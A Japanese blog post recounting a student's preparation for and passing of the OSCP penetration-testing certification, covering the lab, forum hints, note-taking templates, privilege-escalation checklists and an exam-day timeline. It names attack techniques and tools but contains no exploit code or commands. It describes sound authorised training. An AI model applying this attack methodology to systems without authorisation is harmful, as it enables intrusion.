脆弱性は未発見のものを自分で一からファジングして見つけるのではなく、すでにExploitが公開されている脆弱性を悪用します。
例えば、MS17-010(Eternal Blue)などです。一から自分でExploitを作ることはOSCPでは範囲外です。

受験料はOSCPラボ3か月で12万くらいでした。
一か月プラン、2カ月プラン、3か月プランの中から選べます。学習の流れとしては、はじめに200枚くらいのPDFとビデオ(同一内容)が渡されて、それで基本事項を理解したあと、OSCPラボでハッキングの練習をして、試験に備えるという感じです。
Labo Networkには脆弱なマシンが大体60個くらいあります。生徒がアクセスできるNetworkには45個くらいあって、そこから攻略したマシンを踏み台にして、さらに内部のネットワークに侵入して内部のマシンを攻略することができます。
内部のNetworkに侵入するには、NICを複数持つマシンを攻略して、そのマシンを踏み台にする必要があります。そのマシンにはnetwork-secret.txtが存在していて、その内容をコントロールパネルに入力することで内部のネットワーク内のマシンのリバートをすることができるようになります。
内部ネットワークは全部で3つ存在していて、自分はすべて解放しました。

あと、OSCPのラボマシンの攻略方法の答えはありません(ヒントは学生フォーラムにある)。自分で探すしかありません。とはいっても、過度にこれにおびえる必要はないと思います。ぶっちゃけ学生フォーラムの散りばめられたヒントを組み合わせれば一つのWriteupになる気がするし、Spoilerすれすれのヒントも結構見つかります。

あと、教材からビデオ、学生フォーラムから試験の説明まですべて英語です。ですが、Google翻訳様やDeepL様を駆使すれば問題ないです。ビデオの音声もとてもゆっくりはっきり発音してくれるし、簡単な英語を話すようにおそらく努めてくれているので、自分は英語で不便は特に感じませんでした。

OSCPの難易度

この記事で一番伝えたい内容です。
個人的に、OSCPはめちゃくちゃ難しいというわけではないと思います。背景知識、Linux,Windowsの理解、プログラミングスキル、ネットワークの理解などはそんなに必須ではないかなと思います。毎回攻撃するターゲットは変わるので、特定のサービスに詳しくなくてもあまり問題ない気がします。
プログラミングスキルも、C python php javascript SQL シェルスクリプトあたりの文法を何となく理解していればいいのでは?と思ってます。大事なのは、pythonで一からExploitを作成する能力ではなく、pythonで書かれたExploitを実行してエラーが出た場合にそれを修正する能力です。
自分はJava Ruby Perlなどは正直よくわかってません…

ただ、これは超大事というスキルはあります。それはデバッグ能力です。これはマジで大事です。動きそうなExploitを見つけて実行してもなんかうまく行かない、エラーが出る、そもそもうまく行っているのかすらわからない、というようなことは日常茶飯事でその都度、それらの対処・修正をしてExploitを成功させる必要があります。
例えば、Login Brute Forceをするとして、hydraというツールを使った場合、そのサービスでブルートフォースは有効でない可能性、ブルートフォースが有効だが使用したWordlistが小さい可能性、Wordlistは正しいがhydraが成功したと検知できていない可能性、hydraの構文を間違えている可能性、hydraがそもそもそのサービスに対する動作をサポートしていない可能性、などなどいろいろな可能性が常にあって、それらを念頭に入れたうえで調査をしていく必要があります。
調査するサービスの量が多くなるほど、いろいろ可能性が出てくるため、その中からExploitを成功させるのは結構大変です。

とはいえ、このデバッグスキルはOSCPラボを通して学習すればいいので、事前に持っている必要はありません。ただ、ラボに取り組むときにもこのことを念頭に置いておくと、いいと思います。

あと、OSCPを受けるにあたって、最低限抑えておくべき知識について自分の思っていることを書きたいと思います。
まず必要な資格についてですが、自分は基本情報技術者の資格しか持ってなくて、情報処理安全確保支援士は持ってないです。しかも基本情報も去年の秋に取ったばかりです。実務経験ももちろん皆無です。でも、OSCPで基礎的な知識が全然足りてないなあと思うことはありませんでした。なので、自分の持っている資格で、「自分はOSCPはまだ早い」と考える必要は全くないと思います!知らない知識があればググって理解して、次同じものが来たときに解けるようになってれば、それで全然OKだと思います。

とはいえ、最低限事前にある程度理解してから受講した方がいいものはあると思うのでそれを紹介したいと思います。

  • Buffer Over Flow
  • BOFに関しては、簡単な問題(ASLR無しでEIPを操作してメモリ内に挿入してPayload実行)を事前に学習しておくことをお勧めします。BOFは全く知らないと理解に少し時間がかかるので、あらかじめ理解しておくと教材をスムーズに進められると思います。自分はCTFではPwnを少しかじっていたのでこの部分は事前に理解していました(といっても超基本しかわかってないですが)
  • PHP
  • PHPの、Local File Inclusion/Remote File Inclusion、Log Poisoningはよく見る脆弱性なので、試したことがなければ一度やってみることをお勧めします。
  • SQL
  • SQLの基本的な文法(任意のデータベースの任意のテーブルの任意の列の値を取り出せる程度)は押さえて、基本的なSql Injectionを一度試してみることをお勧めします。Union query型のSQLIを悪用できるくらいでいいと思います。
  • linux
  • bashの基本的なコマンド操作はある程度はできる必要があります(配布されるKali Linuxで作業するため)。とはいえ、めちゃくちゃ理解している必要もないと思います。Linux環境で何かやったことがあるなら条件は余裕で満たしていると思います。
  • windows
  • windowsに至っては自分はあまり理解してないまま、OSCPラボをやり始めました。はじめは少し手間取りましたが、慣れればそんなに大変じゃない気がします。というか、正直今の自分がちゃんと理解していないので、基準が不明です…

これくらいな気がします(ほんまか?)。これらの知識を付けるために効果的そうな学習方法は後述します。

OSCPを受講する前

自分がOSCPの資格を取ろうと思ったのは、去年の12月です。なんとなくCTFやったりマルウェア解析の本を読み漁ったり積読を消化・ためたりしていた時期に、少し前に消化した積読の「ハッキングラボの作り方」という本が面白かったのでぺネトレに興味を持って、OSCP体験記を読んで、「自分も取りたいなあ」と思ったのがきっかけです。それまでの自分はいろいろなことに手を出してはいるけど、何かを集中的にやったことはあんまりなかったので(9月にあったロボコンは集中的に頑張りました)、OSCPに集中して勉強しようと決意しました。
大学の期末試験が2月頭にあって、それ以降は2カ月の春休みで予定も埋まってなかったため、春休みからOSCPを受講しようと決めて、それまではVulnhubで精進することにしました。
その際、以下のサイトが丁寧にまとまっていて非常にいいと思います。自分は参考にしていました。あと、Vulnhub OSCP likeとかでググって出てくるマシンをやっていました。
qiita.com

自分はPwnは少しかじっていたのでBOFの簡単な問題は解けたんですが、CTFで言うWebジャンルは全く分からなくて、Sql Injectionキイタコトアルヤッタコトナイだったので、そこら辺の基礎を学ぶためにVulnhub以外にもbee-box(小問集合のマシン)を70問くらいやりました。SQLPHPの基礎はここで押さえました。あと、VulnhubだけだとLinuxマシンしか練習できないので、Metasploitable3でWindowsマシンも練習しました。でも、正直Windowsマシンの攻略方法は全くわからないまま、OSCP受講することになりました。Metasploitable3を解いたのは3か月期間が始まる数日前です。
なので、結局自分がOSCP前にした準備は、Vulnhub15~20台くらい、Bee-Box70問くらい、Metasploitable3、です。今思えば、HackTheBoxやってもよかったか?とも思いますが、試験期間と被っていたためまあ仕方ない気がしなくもない。
単位はかろうじて全部ありました。

OSCP Labo

Labo について

前述したとおり、合計60個くらいの脆弱なマシンを自由にVPN越しで攻撃することができます。
最近OSCPのコースが2020にアップデートされて、追加料金2万円くらいを支払えばアップデート版のコースを受講できるらしいです。自分の時にはすでに利用可能になってましたが、アップデートはしませんでした。
アップデートしなかった理由はいくつかありますが、大きな理由は学生フォーラムのサポートが十分ではなさそうだと思ったからです。ラボマシンに取り組むうえで、どうしても自分ではわからないところは学生フォーラムのヒントを見ることになるんですが、アップデート版はそのヒントが少なそうでわからなかったら詰むと感じました。旧バージョンはかなりの数の投稿があって、それらを読み漁ればなんとか詰んだマシンも攻略できました。
旧バージョンでも試験に受かるのには十分だと思います。

学生フォーラム

学生フォーラムには、教材のExcerciseのエラーで詰まった対処法、難しいマシンのヒント(spolierでない程度の)、便利なツール、学生のポエム(w)など様々な有益な情報が載っているので、積極的に活用するといいと思います。ただ、学生が投稿しているので間違った情報もたくさんありますので、それらの都度取捨選択する必要があります。
どうしても攻略できないマシンがあって、考えられるExploitはすべて試した、またはExploitする場所はわかっているがなぜか動かない、Googleでも検索してみたが解決しない場合はヒントを見ることをお勧めします。ただ、ヒントを見るのは考えられうるすべてを試した・探した後にした方がいいと思います。

Metasploit

OSCP試験ではMetasploitの使用は一回までしかできないので、LaboでもMetasploitの使用はできるだけ控えた方がいいと思います。ですが、裏を返せば試験でもMetasploitが使えるので、詰まったときにMetasploitを使えば解決するのか?などを試験で把握するためにMetasploitにもそこそこ慣れておいた方がいいです。手動でExploitした後に、Metasploit ModuleでもExploitしてみる、といった感じにいろいろ試せばいいと思います!Offsecがこのような制限を設けているのは、おそらく「Metasploitに過度にたよりすぎないように!」というメッセージだと思ってます。便利であることは確かなので、適切に付き合うことが大事です。

Labo machineについて

Laboのマシンはいろんなタイプがあって、難易度も様々ですが、基本的には簡単です。HackTheBoxやVulnhubでいうEasyに分類されるマシンが7割くらいです。Mediumくらいのマシンはそんなに多くないし、その分学生フォーラムで大量にスレッドがあるのでそこを参考にすれば十分戦えます。ただ、マシンの中でも特に難しいとされるマシンが4つ(フォーラムではbig4と呼ばれている)あって、これはそこそこ難しいです。難易度で言えば、Mediumくらい?。ただ、難しい分学べることも多い様に作られているので、解けたら「いい問題だった!」と思えます。

Exerciseについて

教材にはExerciseがついていて、それとラボマシン10台の攻略手順をレポートとして提出すれば、試験の点数に追加で5点もらえます。Exerciseをやるべきか否かは諸説ありますが、自分はやった方がいいと思います。試験で5点加点が魅力的というのもありますが、レポートを書きなれるという意味で、ラボレポート(ラボマシン10台+Exerciseのこと)を書くのはとても良かったと思います。これをやっていたおかげで、実際の試験後のレポートでスムーズに行けたと思います。はじめは「たかがレポートじゃん」って思ってましたが、どういうレイアウトにするのか?どういうコマンドのスクショをとるのか?スクショの中で強調したい部分はどうやって編集するか?スペルミスしてないか?文法おかしくないか?他重要な情報が抜けていないか?などいろいろ気を配ることが多いので、レポートを書く際に身につくスキルもばかにならないなと思いました。
とはいえ、ラボレポート189枚は量が多すぎるし、そもそもレポート書くのに時間をかけたせいで試験で問題が解けないと本末転倒なので、そこらへんは各自の判断でいいと思います。

自分の体験

自分は3か月パックを購入しました。あとでやった方がよさそうなExerciseは飛ばして、はじめの10日でそれ以外のExcerciseを終わらせました。Exerciseにかけるべき時間についても諸説ありますが、自分はさっさとやってしまうのがいいと思います。アップデート版はわからないですが、旧バージョンの教材は知っていることが多くそれだけでは明らかに知識不足なので、時間をかけるべき場所ではないと思います。とはいえ、教材を読んでよくわからないならその場でしっかり理解した方がいいと思います。でも、たぶんVulnhubやHTBを10個以上解いたことがあるなら、教材はすらすら読み流せると思います。
Exerciseを終わらせてからはひたすらラボマシンを攻略していました。Offsec曰く、「どのマシンから攻略するのかを決めるのも大事」とのことで、マシンのIPは簡単な順番に並んでいるわけではありません。自分なりに、簡単そうだなと思ったマシンからやってました(外れたこともあります)。あと、ラボマシンの中でOffsecが丁寧なWriteupをフォーラムに挙げてくれているマシンが二つあって(3つ目はComming Soonになってた)、これからまず解くことをお勧めします。着眼点や調査手順、思考プロセスなど非常に参考になりました。

あと、ラボマシンを取り組んでいくうえで、自分用のチートシートは欠かせないと思います!!マジで大事!!!これなしでは自分は試験には絶対に合格しなかったと思います。チートシートには、自分が知らなかったツールの使い方や便利なワードリスト(/usr/share/wordlists/rockyou.txtなど)、チェックするべき項目などをまとめるといいと思います!これをすることで、試験でも「このサービスにはこの列挙ツールをこのワードリストと一緒にこのオプションで実行する」ということができるのでマジで重宝します。また、以下のようなEnumツールや着眼点がまとまっているサイトを読んで、自分が知らないものはチェックしていくといいと思います!はじめは量が多すぎて途方にくれますが、基本的なチェック事項は無限にはないのでそこは頑張ります!

book.hacktricks.xyz
blog.g0tmi1k.com
github.com

あと、もう一つ超大事なのが、Note Takingです。実行したEnumツールをまとめる作業です。これも独自のNote Taking手法を開発すればいいと思います。ちゃんとしたEnumを行ってもNote Takingが雑だと正しいExploitVectorを発見できない・発見が遅れるのでマジで大事です!! 自分はマシンが攻略できない原因の多くが、雑なNote Takingでした。もっと情報を整理して、何がどこから得られて、どういう可能性があるのか、どういうExploitがあってそのExploitが動作する可能性はどれくらいなのか、その根拠はなにか、などを一目でわかるように何回もアップデートを繰り返しました。
例えば、以下は自分のNote Takingのためのテンプレートです(OSCPマシンではないよ!)。 f:id:kakyouim:20200511183129p:plain
80ポートに対するnikto,gobuster,nmapなどのツールの実行結果をすぐにみられるようにしています。
また、GoogleでExploitを調べるググり方、ググる際の注意点、Exploit-dbから得られた結果なのか、cve-detailsからなのか、githubからなのかを一目でわかるようにして、考えられうるExploitを絶対に検索漏れしないように気を付けています。
これは一例ですが、こんな感じで自分だけのテンプレートを作ると、試験中はEnumの段階はこのテンプレートに従って空欄を埋めていく作業になるので、余計な場所に気を使わなくてよくて楽です。
ぜひ自分だけのNote Takingを確立してください!自分はCherryTreeを使いました。配布されるKali Linuxにデフォルトで入っています。
あと、マシンを解くときは必ず時間を計るようにしていました。どのツールがどれくらいかかるのか、どれくらいでExploitできたのか、は毎回確認して、どうすればもっと早くExploitできたかを反省して、次に活かしてました。

自分は、一日に一台ペースで解いていきました。30日経過時点で17台攻略しました。そして、60日経過で45台を攻略してそのあとはHackTheBoxのOSCP likeのマシンを解いて試験に備えました。ラボネットワークには、直接悪用できない、依存関係を必要とするマシンがあって、Client Side Attackをするマシンもあり、試験とは直接関係ないですが、自分はとても勉強になりました。VulnhubやHackTheBoxはroot取ってフラグとって終わりですが、OSCPはそのあとさらにPost Exploitをして次のマシンの攻略につなげる必要があるので、より実践向きというか、攻撃者っぽい思考プロセスを養えるのが強みだと思います。ここが一番ハッカーぽくて自分はやってて楽しかったです。攻略したマシンを踏み台にして内部ネットワークをさらに攻略するとかOSCPならではですね!

Rabbit Hole対策

試験ではRabbit Holeといって、Exploitがありそうに見えてなかったり、なんだかよくわからない不確定要素の部分があって、我々を迷わせるものがあります。考えられる選択肢が多すぎて詰む、とかです。
そんなときのために自分がやっていたRabbit Hole対策を紹介したいと思います。

まず、ポートのEnumをした後に、必ずそれらの結果をまとめて、自分用に簡単にまとめていました。これをすることで、まとめている時に調査漏れに気づいたり、二つの事柄を同時に考慮すると新しい着眼点が見えたりすることもあるし、自分は何をチェックしたのかがわかりやすいため、あとで見直すときにも便利です。(OSCPマシンじゃないよ!!)
f:id:kakyouim:20200511213250p:plain

あと、GoogleやSearchsploitで見つけたExploitを動きそうか?悪用できそうか?の基準に沿って仕分けていました。これによって、動くか全くわからん大量の優先度が全く同じのExploitから、悪用できそうなExploitを優先度付きで見つけ出すことができます。
f:id:kakyouim:20200511213517p:plain

LinuxのPrivilegeEscalationに関しては、あらかじめチェックする項目を設けておき、Enumツールを実行して、そこを埋めていく作業をしていました。これは完全に作業です。事前にGotmilkやPayloadAllthingsなどを読み込んで、事前に把握できるものは把握するようにしていました。(OSCPマシンじゃないよ!!)
f:id:kakyouim:20200511214148p:plain
そのあとは、それらの結果を一か所にまとめていました。まとめることで、怪しい個所を何回も目にすることになるので、気づきやすくなります。(OSCPマシンじゃないよ!!)
f:id:kakyouim:20200511214505p:plain

WIndowsに関しても同様にしていました。(OSCPマシンじゃないよ!!)
f:id:kakyouim:20200511214936p:plain
さらに、WindowsマシンのPrivilegeEscalationのKernel ExploitはSuggesterが検知する合計が30種類程度なので、全て事前に調べておいて、コンパイル済みのバイナリがあるのか、Githubにあるのか、Metasploitにあるのか、現在のWindow上にSYSTEMプロンプトを起動するタイプのバイナリなのか?(そうであればRDPでないと実行できない)などを事前にリストとしてまとめていました。
自分でhigh medium lowでExploitの優先度を仕分けていました。これによりHackTheBoxのWindowsマシンのPrivilegeEscalationはただの作業になりました。
f:id:kakyouim:20200511215341p:plain
大量にSuggesterが検知するExploit達をどの順番で実行するのか手間取ってしまったため、このリストが生まれました。
f:id:kakyouim:20200511220431p:plain

OSCP Exam

Examについて

試験は24時間(正確には23時間45分)で、5台のマシンのうち、70点をとれれば合格です。5台のうちの一つはBOFです。Proof.txtとlocal.txt(あるマシンと無いマシンがある)を試験用のコントロールパネル(試験開始後にVPN経由でアクセスできるようになる)で提出するのと、レポートでスクショとるのの二つで提出する必要があります。詳しくは、試験ガイドを参照してください!試験ガイドは何回も読んで完全に理解することを強くお勧めします。
また、試験後の24時間でレポートを作成して提出する必要があります。レポートのテンプレートは例が用意されているのでそれを参考にします。Examレポートから、Exploit手順を完全に再現できる必要があるため、スクショの取り忘れには要注意です。必ず、一度Exploitが成功した後に、もう一度初めからやって再現できるかを確認することをお勧めします。

あと、試験中は常にWebカメラと画面共有で監視されます。Webカメラの監視は重いので別のPCでやった方がいいみたいな記事もあるけど、どうやら最近ルールが変わったっぽくて、Webカメラと画面共有は同じPCからでないといけないようです。監視ツールはホスト上で動作させる必要があります。あと、録画はできません。なので取るべきスクショをとっているかどうかは何回も確認した方がよさそうです。
あと、試験開始日時、開始時間は自由に選べますが、予定が埋まるのが早いため、早め(少なくとも3週間以上前)から予約することをお勧めします。あと、開始時間ですが、すでにOSCPを取得した方のおすすめが夕方からで、自分もそれをお勧めします。席を立つときや寝るときは、試験管にその旨を伝えると休ませてもらえます。
あと、監視ツールは試験開始前にセットアップする必要があるのですが、それが遅れると試験時間も減ります。セットアップ手順など、試験前にあらかじめ確認しておくといいと思います。

自分のExam(予定)

自分は15時から開始にしました。あと、ラボのコース期間終了までまだ2週間くらい残ってましたが、大学の実験がGW以降始まってしまってそっちのレポートに時間を取られるので、実験が開始する前にOSCPの決着をつけたかったので75日目くらいに受験することになりました。受験時に攻略したマシンは、Vulnhub15~20台、OSCPラボ45台、HTB15台くらいの合計70台くらいでした。HackTheBoxに関してはもっとやりたかったですが、時間がなかったのでEasy寄りのMediumを中心に解いていました。
以下で言及されているマシンをやりました。
www.reddit.com
自分は、Examの前に一度自分でBOF+HackTheBoxのマシン4台を24時間で解いてみることを試したんですが、試験のデモとしては結構よかったです。時間感覚、いつ寝るのか?解けないマシンの対策、スクショの確認などが確認できてよかったです。ただ、体力的にかなり疲れました。

以下は、試験前に立てていた試験中の予定です。
Rabbit Hole対策として、攻略するマシンの順番をあらかじめ決めておき、決まった時間が過ぎたら解けてなくても後回しにして、一周した後にもう一回そのマシンを解く、という風にしました。実際、この作戦は本番でもよかったと思います。

15:00スタート
BOF以外をAutoReconやNikto,Gobusterだけまずは実行。
そのあとBOFを1~2時間でやる
17:00 BOF終了
18:30 簡単なマシンのSearchsploit終わりまでやった。Exploitを試す。
19:30 簡単なマシンのRootとれればGood!取れなければ後に回す。
21:00 次に簡単なマシンをSearchsploit終わりまでやった。
22:00 初期シェルゲットできればGood!出来なければ後に回す。
ごはん食べる (予定ではBOFと簡単な1つのRootと1つの初期シェル45点ができているはず)

23:30 2番目のマシンのPEのSearchsploit終わりまでやった。
00:30 2番目のマシンのRootとれればGood!出来なければ後に回す。
    3番目のマシンをやりだす。
02:00 3番目のマシンをSearchsploit終わりまでやった。
03:00 3つめのやつの初期シェルがゲットできてればGood!できなければ後に回す。
04:00 3番目のマシンのPEのSearchsploit終わりまでやった。
05:00 3番目のマシンのRootとれればGood!出来なければ後に回す。
    ここまでで最後の25点以外がすべて解けていればGood!もう受かる!
    いったん休憩30分くらい、机で寝る
07:00 一番難しいマシンのSearchsploit終わりまでやった。
08:00 一番難しいマシンの初期シェルが取れればGood!出来なければ後に回す
09:00 一番難しいマシンのPEのSearchsploit終わりまでやった。
10:00 一番難しいマシンのRootとれればGood!出来なければ後に回す。

ここまでいったん再現性チェックする!!

12:00 いままで解けている問題の再現性チェック終わり。
    いまから終了まで残り3時間で頑張る
14:45 終了

試験前日は、HackTheBoxとかで体力消費しないで、OSCP reviewとか試験ガイドを読み直して最終確認をして、早く寝ました。
ちなみに、試験当日の作業用BGMとしてYouTubeのリストを作って、本番はそれを聞いてました。
f:id:kakyouim:20200511201445p:plain

あと、試験本番では、自分は3つのタイマーを使いました。一つは開始直後からスタートして開始からどれくらいたったのかを確認する用、もう一つは30分ごとにカウントダウンして30分経ったことを知らせる用、もう一つは4時間のカウントダウンで一つのマシンにかけられる大体の時間です。
特に、30分経過ごとに鳴るタイマーは、一つのサービスに過度に時間をかけすぎないようにするための、客観的に立ち直らせてくれるRabbit Hole対策のうちの一つです。これはかなり効果があったと思います。実際、冷静さを欠いてパニックになるようなことにはなりませんでした。

あと、自分が試験を受けたときの環境ですが、自前のノートパソコンに外付けSSDをUSB接続して、SSD内のVMImageをPC上で動かすという、かなり限界みのあることをしていました(ノートパソコンのSSDの容量がもうない…)。ディスプレイは自分は使いませんでした。普段のラボの時も使ってなかったので、別になくてもいいやと思ってました。というか持ってないです。

あと、VMのバックアップは必ず取っておくことをお勧めします。そして、試験中は新しいツールを入れる、ということは基本的にしないほうがいいとおもいます。配布される古いVMに、apt経由でpip3を入れるとVMがぶっ壊れます(自分はぶっ壊しました)。

自分の試験(現実)

15時試験開始なので、当日は12時くらいに起きました。昼ご飯を食べて、14時30分くらいまでYouTubeでリラックスしてました。が、めっちゃ緊張してました。
14:40くらいに監視ツールを起動して、監督者とチャットで必要な確認(パスポートによる本人確認など)を事前に済ませて、14:50くらいから試験が始まるまで無言で待機してました。さすがにこの10分間はYouTube見る気にはなりませんでした。

15:00から試験開始で、試験コントロールパネルに接続して、マシンごとの説明を読んで予定通りにBOFのマシンから取り掛かりました。

16:00に、一時間でBOFのマシンが終了しました。よしよし、と思っていたら、AutoreconをBOF前に実行することを忘れていたことに気づきました。まじか…って思いました。相当緊張していました。あと、なぜか首がめちゃくちゃ痛くて何かを飲み込むだけで痛かったです。あとから気づいたんですが、緊張しすぎて首に変な力が入っていたことによる筋肉痛でした…。

次に、簡単なマシンから取り組み始め、17:14にrootをゲットしました!ここまででかなり順調で、よしよしって感じで次のマシンに取り組みました。
3つ目のマシンも19:18に初期シェルをゲット!そのあと、21:05に3つ目のrootもゲットしました。ここまでで予定よりかなり速いペースで来ており、精神的に余裕を持って試験に臨めていました。

そのあと、晩御飯を食べて、4つ目のマシンに取り組み始めたんですが、00:15になっても初期シェルがゲットできず、仕方ないので後回しにすることにして、最後のマシンをやり始めました。

2:30に最後のマシンの初期シェルをゲット!この時点で65点あり、追加で提出するラボレポートの5点と合わせてぎりぎり合格ラインでした。そのあと、最後のマシンのPrivilegeEscalationがきつそうに感じたので、さっき後回しにした4つ目のマシンに戻ることにしました。

あと、ここら辺から監視ツールの画面共有が落ちまくる現象が発生して、ひどいときは5分に一回画面共有がストップし、その都度試験官から、「また画面共有が落ちたよ。ページをリロードしてね」というチャットが飛んできました。「試験を再開する前にネットワークの速度を見せてくれ」とも2回言われ、確認すると、7Mbps, 2Mbpsという……(おっそ)。結局深夜はそんな感じで何回も画面共有をやり直しました(多分30回くらい)。でも、「Sorry for such a many times. I refreshed this page. Is Problem solved?」とチャットで聞くと「気にしないで!画面共有できたよ!試験を再開してね」っていう優しいコメントが返ってきました。

そして、4:48に4つ目のマシンの初期シェルゲット!!!はじめに解けなかった原因はやはりEnum不足でした。この時点で75点あり、合格にはおそらく十分でしたが、どうせなら解けるだけ解いてやろうと思って喉が痛い中つづきをやりました。ちなみに、ここまででMetasploitは使いませんでした。

7:25になってもまだどちらもroot取れませんでした。この時点でかなり集中力が切れていたので、いったん今までのExploit手順のスクショや再現性の確認をすることにしました。
そのあとは、点数も余裕があったし、スクショの確認もしたので、2時間だけ眠ることを伝えて、11時まで寝ました。そして、起きてからも頑張ったんですが結局解けずに終わりました。

試験が終わると、夜の8時までいったん寝て、晩御飯食べてからレポートを書き始めました。スクショやproof.txtの取り忘れがないかとかめちゃくちゃビビってました。そして、5時くらいにレポートを書き終わり、提出して寝ました。レポートは59枚になりました。起きると、レポートの確認メールが届いており、その3日後、合格のメールが来ました!! f:id:kakyouim:20200511200549p:plain

試験の感想

普通に難しかったです。BOFと簡単なマシン以外の3つはHackTheBoxで言えば確実にMediumだと思います。え?普通にラボより難しいんだが??と思った記憶があります。ラボマシンのようにすんなりいく感じではなかったです。
とはいえ、めちゃくちゃ難しすぎるというわけではなく、落ち着いてEnumしていけば解けるようになっていると思います。つまり良問でした。

OSCP対策

OSCPを受講するにあたって、必要な準備ですが、とにかくVulnhubやHackTheBoxを解くことだと思います。個人的な意見ですが、自分は15~20台くらいを攻略していればもうOSCPを受講する十分なレベルにいると思います。そして、解いたらできるだけ多くのWriteupを読んで自分に足りなかった視点などを理解して、チートシートやNote Takingをアップデートして、また次のマシンを解く…の繰り返しでいいと思います。
これは学生フォーラムに書いてあったことなのですが、「自分はOOとXXと△△のマシンを解いた。試験に十分ですか?」という質問に対して、「本当に大事なのはそのマシンを攻略することではありません。マシンを攻略する際の考え方、どうやってExploitを見つけどのようにしてExploitを実行したのか、なぜそのExploitが動作すると思ったのか、その根拠は何か。これらを理解することが大事です。」という答えがあって、自分も本当にその通りだと思いました。
なので、同じHackTheBoxのマシンを解いても人によってアップデートする必要のある部分は異なります。
例えば、Writeupを見るまでは見つけられなかったExploitがあったとして、大事なのはそのExploitそのものではなく、そのExploitを発見できるような調べ方です。Googleでちゃんと注意深くチェックすれば見落とさなかったのか、searchsploitコマンドで必要以上に省いてしまっていたのか、Cvedetailsを見ていればそのCVEを見つけられたのではないか、site:github.comというようなググり方をすればGithubのExploitを見つけられたのではないか、といった感じです。
こんな感じで、攻略するための思考プロセスを鍛えていけば、試験のRabbit Holeなんて恐るるに足りません。ただ決まったNote Takingに従って、決まったツールを使用してEnumして、Googleで見つけたExploitを決まった方法で評価付けして最も優先度の高いものから順に実行していくとそれが正しいものだった、って感じにRabbit Hole関係なく攻略できます。

ただ、OSCPを受講する際に、OSCPにまとまって時間が取れるのかは注意してください。多分やり始めるとかなり時間がかかって、ほかのことを平行してやるのは厳しいと思います。自分は春休みからやり始めたということもあって、一日最低8時間くらいはかけることができたので、始める時期は慎重に選ぶことをお勧めします。
自分は短期間にさらっと取ったように見えるかもしれないですが、たぶん600~700時間くらいかけています。ぺネトレ以外何もしなかったので。

最後に

ここまで長文を読んでくださってありがとうございます!
とりあえず、この記事で伝えたいことは、OSCPは決して雲の上の資格ではないということです。落ち着いて必要なものを積み上げていけば必ず取れる資格です。そして、おそらく読者の方の多くはすでに受講できるレベルにいると思います。
この記事を読んで一人でも「自分もOSCP受けられるんじゃね?」ってなってくれれば幸いです!